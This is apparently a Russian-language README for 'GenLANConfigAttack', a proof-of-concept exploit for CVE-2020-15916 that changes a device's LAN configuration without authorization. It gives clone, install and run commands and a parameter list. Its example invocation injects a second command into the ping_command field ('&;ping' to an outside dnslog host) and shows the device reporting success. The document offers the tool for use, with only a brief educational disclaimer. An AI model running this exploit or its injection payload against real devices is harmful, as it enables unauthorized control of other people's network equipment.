CVE-2020-15916

GenLANConfigAttack представляет собой PoC для эксплуатации уязвимости CVE-2020-15916, которая позволяет несанкционированно изменять конфигурацию LAN устройства.

Функции

• Использует уязвимость конфигурации LAN
• Отправляет вредоносный payload для изменения настроек сети
• Обходит механизмы безопасности для получения контроля над LAN

Как использовать

1. Клонируйте репозиторий:
   root@kitploit:~

   git clone https://github.com/geniuszly/CVE-2020-15916
   

2. Установите зависимости:
   root@kitploit:~

   pip install -r requirements.txt
   

3. Запустите эксплойт:
   root@kitploit:~

   python GenLANConfigAttack.py
   

Параметры

• target_ip: IP-адрес целевого устройства.
• ping_command: Команда для выполнения на целевом устройстве.
• session_password: Пароль для сессионного доступа.

Пример

python GenLANConfigAttack.py --target_ip 192.168.0.1 --session_password gew43t4gtewe4u5u576i7yhggerr6ijtr --ping_command '192.168.0.1 &;ping xt68nd.dnslog.cn'

[Ответ от 192.168.0.1]: 
{"success":true,"message":"Конфигурация LAN IP успешно обновлена"}

CVE-ссылка

Этот PoC эксплуатирует уязвимость CVE-2020-15916, которая позволяет злоумышленникам изменять конфигурацию LAN на уязвимых устройствах, используя слабую аутентификацию.

Отказ от ответственности

Этот инструмент предоставляется исключительно в образовательных целях. Используйте его ответственно и только в тех средах, где у вас есть явное разрешение.